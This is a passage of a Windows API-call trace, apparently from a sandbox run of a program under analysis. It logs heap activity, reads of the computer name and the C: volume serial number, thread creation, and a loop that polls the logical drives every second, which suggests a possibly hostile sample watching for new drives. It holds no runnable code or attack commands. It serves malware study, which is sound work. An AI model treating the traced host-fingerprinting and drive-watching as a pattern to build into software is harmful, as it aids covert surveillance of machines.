(HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56e0b0 [0060.291] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0060.291] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0060.292] GetComputerNameW (in: lpBuffer=0x572528, nSize=0x27cfa18 | out: lpBuffer="XDUWTFONO", nSize=0x27cfa18) returned 1 [0060.293] GetProcessHeap () returned 0x550000 [0060.293] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x26) returned 0x56ea78 [0060.293] CloseHandle (hObject=0x140) returned 1 [0060.293] CloseHandle (hObject=0x13c) returned 1 [0060.293] GetProcessHeap () returned 0x550000 [0060.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e0b0 | out: hHeap=0x550000) returned 1 [0060.294] GetProcessHeap () returned 0x550000 [0060.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ea78 | out: hHeap=0x550000) returned 1 [0060.294] GetProcessHeap () returned 0x550000 [0060.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572518 | out: hHeap=0x550000) returned 1 [0060.294] GetProcessHeap () returned 0x550000 [0060.294] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e1e0 | out: hHeap=0x550000) returned 1 Thread: id = 16 os_tid = 0x2ac [0060.296] GetLogicalDrives () returned 0x4 [0060.296] GetProcessHeap () returned 0x550000 [0060.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x564060 [0060.296] GetProcessHeap () returned 0x550000 [0060.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56e0b0 [0060.296] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x13c [0060.296] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x140 [0060.296] GetProcessHeap () returned 0x550000 [0060.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a238 [0060.296] GetProcessHeap () returned 0x550000 [0060.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a260 [0060.297] GetProcessHeap () returned 0x550000 [0060.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a378 [0060.297] GetProcessHeap () returned 0x550000 [0060.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570960 [0060.297] GetProcessHeap () returned 0x550000 [0060.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.297] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a260, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.297] GetProcessHeap () returned 0x550000 [0060.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.297] GetProcessHeap () returned 0x550000 [0060.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a238 | out: hHeap=0x550000) returned 1 [0060.298] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x291f804, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x291f804*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.298] GetProcessHeap () returned 0x550000 [0060.298] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.299] GetProcessHeap () returned 0x550000 [0060.299] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8d0 [0060.299] GetProcessHeap () returned 0x550000 [0060.299] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8e8 [0060.299] GetProcessHeap () returned 0x550000 [0060.300] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8b8 [0060.300] GetProcessHeap () returned 0x550000 [0060.300] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570960 [0060.300] GetProcessHeap () returned 0x550000 [0060.300] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8a0 [0060.300] htonl (hostlong=0x9c354b42) returned 0x424b359c [0060.300] QueryPerformanceCounter (in: lpPerformanceCount=0x291f6f8 | out: lpPerformanceCount=0x291f6f8*=20155911186) returned 1 [0060.300] GetTickCount () returned 0x11596e3 [0060.301] GetCurrentProcessId () returned 0xa84 [0060.301] GetCurrentThreadId () returned 0x2ac [0060.301] GetLocalTime (in: lpSystemTime=0x291f6e0 | out: lpSystemTime=0x291f6e0*(wYear=0x7e4, wMonth=0x2, wDayOfWeek=0x2, wDay=0xb, wHour=0x16, wMinute=0x2a, wSecond=0x39, wMilliseconds=0x336)) [0060.301] SystemTimeToFileTime (in: lpSystemTime=0x291f6e0, lpFileTime=0x291f6f0 | out: lpFileTime=0x291f6f0) returned 1 [0060.301] QueryPerformanceCounter (in: lpPerformanceCount=0x291f6f8 | out: lpPerformanceCount=0x291f6f8*=20155987317) returned 1 [0060.301] GetProcessHeap () returned 0x550000 [0060.301] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x28) returned 0x56ea78 [0060.302] GetProcessHeap () returned 0x550000 [0060.302] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b900 [0060.302] GetProcessHeap () returned 0x550000 [0060.302] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56eaa8 [0060.302] GetProcessHeap () returned 0x550000 [0060.302] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56e200 [0060.302] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b918 [0060.303] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x56ec18 [0060.303] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b930 [0060.303] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x5709f8 [0060.303] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b948 [0060.303] GetProcessHeap () returned 0x550000 [0060.303] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56b848 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b960 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x570a88 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b978 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2) returned 0x56b7b0 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56edb8 [0060.304] GetProcessHeap () returned 0x550000 [0060.304] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b990 [0060.304] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x56a8c0 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9a8 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56edc8 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56b7b0, Size=0x82) returned 0x56a948 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56edc8, Size=0x100) returned 0x572518 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9c0 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x56a9d8 [0060.305] GetProcessHeap () returned 0x550000 [0060.305] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9d8 [0060.306] GetProcessHeap () returned 0x550000 [0060.306] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572620 [0060.306] GetProcessHeap () returned 0x550000 [0060.306] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56a948, Size=0x104) returned 0x5726b0 [0060.306] GetProcessHeap () returned 0x550000 [0060.306] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572518, Size=0x200) returned 0x5727c0 [0060.307] GetProcessHeap () returned 0x550000 [0060.307] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56edb8 | out: hHeap=0x550000) returned 1 [0060.307] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5727c0 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9a8 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570a88 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b960 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a8c0 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b990 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5726b0 | out: hHeap=0x550000) returned 1 [0060.308] GetProcessHeap () returned 0x550000 [0060.308] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b978 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9d8 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9c0 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572620 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9d8 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56eaa8 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b900 | out: hHeap=0x550000) returned 1 [0060.309] GetProcessHeap () returned 0x550000 [0060.309] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5709f8 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b930 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b918 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b848 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b948 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ea78 | out: hHeap=0x550000) returned 1 [0060.310] GetProcessHeap () returned 0x550000 [0060.310] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e200 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa4) returned 0x5709f8 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8e8 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8b8 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8a0 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.311] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8d0 | out: hHeap=0x550000) returned 1 [0060.311] GetProcessHeap () returned 0x550000 [0060.312] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56e200 [0060.312] GetProcessHeap () returned 0x550000 [0060.312] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe) returned 0x56b8d0 [0060.312] ResetEvent (hEvent=0x140) returned 1 [0060.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d55a0, lpParameter=0x56e200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0060.319] CloseHandle (hObject=0x144) returned 1 [0060.319] GetProcessHeap () returned 0x550000 [0060.319] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8a0 [0060.319] GetProcessHeap () returned 0x550000 [0060.319] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8b8 [0060.319] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b8e8 [0060.320] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570960 [0060.320] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b948 [0060.320] htonl (hostlong=0x9c354b42) returned 0x424b359c [0060.320] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x28) returned 0x56b4f8 [0060.320] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b918 [0060.320] GetProcessHeap () returned 0x550000 [0060.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56b528 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x14) returned 0x56e2c0 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b930 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x56ec18 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b900 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x56a8c0 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9d8 [0060.321] GetProcessHeap () returned 0x550000 [0060.321] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56eaa8 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9c0 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x56a950 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b978 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x2) returned 0x56b848 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56b7b0 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b990 [0060.322] GetProcessHeap () returned 0x550000 [0060.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x80) returned 0x56a9d8 [0060.322] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b960 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x4) returned 0x56edb8 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56b848, Size=0x82) returned 0x572728 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56edb8, Size=0x100) returned 0x5727b8 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9a8 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x5728d8 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x56b9f0 [0060.323] GetProcessHeap () returned 0x550000 [0060.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x82) returned 0x572968 [0060.324] GetProcessHeap () returned 0x550000 [0060.324] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x572728, Size=0x104) returned 0x5748c0 [0060.324] GetProcessHeap () returned 0x550000 [0060.324] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x5727b8, Size=0x200) returned 0x5749d0 [0060.325] GetProcessHeap () returned 0x550000 [0060.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b7b0 | out: hHeap=0x550000) returned 1 [0060.325] GetProcessHeap () returned 0x550000 [0060.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5749d0 | out: hHeap=0x550000) returned 1 [0060.325] GetProcessHeap () returned 0x550000 [0060.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b960 | out: hHeap=0x550000) returned 1 [0060.325] GetProcessHeap () returned 0x550000 [0060.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a950 | out: hHeap=0x550000) returned 1 [0060.325] GetProcessHeap () returned 0x550000 [0060.325] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9c0 | out: hHeap=0x550000) returned 1 [0060.325] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a9d8 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b990 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5748c0 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b978 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5728d8 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9a8 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x572968 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.326] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9f0 | out: hHeap=0x550000) returned 1 [0060.326] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b528 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b918 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a8c0 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b900 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b930 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56eaa8 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b9d8 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.327] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b4f8 | out: hHeap=0x550000) returned 1 [0060.327] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e2c0 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xa4) returned 0x5748d8 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8b8 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8e8 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b948 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56b8a0 | out: hHeap=0x550000) returned 1 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x18) returned 0x56e2c0 [0060.328] GetProcessHeap () returned 0x550000 [0060.328] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0xe) returned 0x56b8a0 [0060.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d55a0, lpParameter=0x56e2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0060.331] CloseHandle (hObject=0x144) returned 1 [0060.334] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0xffffffff) Thread: id = 17 os_tid = 0x6fc [0060.315] GetLogicalDrives () returned 0x4 [0060.316] GetProcessHeap () returned 0x550000 [0060.316] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a260 [0060.316] GetProcessHeap () returned 0x550000 [0060.316] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a238 [0060.316] GetProcessHeap () returned 0x550000 [0060.316] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a378 [0060.316] GetProcessHeap () returned 0x550000 [0060.316] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x570960 [0060.316] GetProcessHeap () returned 0x550000 [0060.316] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x570960 | out: hHeap=0x550000) returned 1 [0060.316] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a238, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.317] GetProcessHeap () returned 0x550000 [0060.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.317] GetProcessHeap () returned 0x550000 [0060.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.317] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x2b8ff34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x2b8ff34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.317] GetProcessHeap () returned 0x550000 [0060.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a238 | out: hHeap=0x550000) returned 1 [0060.318] GetProcessHeap () returned 0x550000 [0060.318] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x5640a8 [0060.318] GetProcessHeap () returned 0x550000 [0060.318] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x28) returned 0x56ea78 [0060.318] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x148 [0060.318] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x14c [0060.318] GetLogicalDrives () returned 0x4 [0060.319] Sleep (dwMilliseconds=0x3e8) [0063.279] GetLogicalDrives () returned 0x4 [0063.279] Sleep (dwMilliseconds=0x3e8) [0065.073] GetLogicalDrives () returned 0x4 [0065.073] Sleep (dwMilliseconds=0x3e8) [0066.382] GetLogicalDrives () returned 0x4 [0066.382] Sleep (dwMilliseconds=0x3e8) [0068.996] GetLogicalDrives () returned 0x4 [0068.996] Sleep (dwMilliseconds=0x3e8) [0070.673] GetLogicalDrives () returned 0x4 [0070.673] Sleep (dwMilliseconds=0x3e8) [0072.400] GetLogicalDrives () returned 0x4 [0072.401] Sleep (dwMilliseconds=0x3e8) [0074.371] GetLogicalDrives () returned 0x4 [0074.371] Sleep (dwMilliseconds=0x3e8) [0076.668] GetLogicalDrives () returned 0x4 [0076.669] Sleep (dwMilliseconds=0x3e8) [0078.740] GetLogicalDrives () returned 0x4 [0078.740] Sleep (dwMilliseconds=0x3e8) [0081.142] GetLogicalDrives () returned 0x4 [0081.142] Sleep (dwMilliseconds=0x3e8) [0082.809] GetLogicalDrives () returned 0x4 